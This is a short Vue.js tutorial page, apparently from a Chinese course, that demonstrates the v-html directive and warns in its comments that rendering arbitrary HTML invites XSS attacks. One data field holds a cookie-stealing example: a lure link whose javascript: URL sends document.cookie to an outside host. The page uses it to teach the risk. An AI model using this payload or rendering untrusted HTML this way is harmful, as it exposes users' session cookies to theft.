<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>v-html内置指令</title>
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
        v-html指令:
        1.作用:向指定点中渲染包含html结构的内容。
        2.与插值语法的区别;
            (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
            (2).v-html可以识别html结构。
        3.重点注意:v-html有安全性问题!!!!
            (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
            (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上! 
    -->

    <div id="app">
        <div v-html="name"></div>
        <div v-html="msg"></div>
    </div>
    <script>
    //配置好全局配置之后再创建Vue实例,关闭Vue的生产提示标识
     Vue.config.productionTip = false;
        var vm = new Vue({
           el:'#app',
           data:{
               name: "<h2>你好，尚硅谷</h2>",
               msg: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟这里有资源你快点来看</a>'
           },
           methods:{}
        });
    </script>
</body>

</html>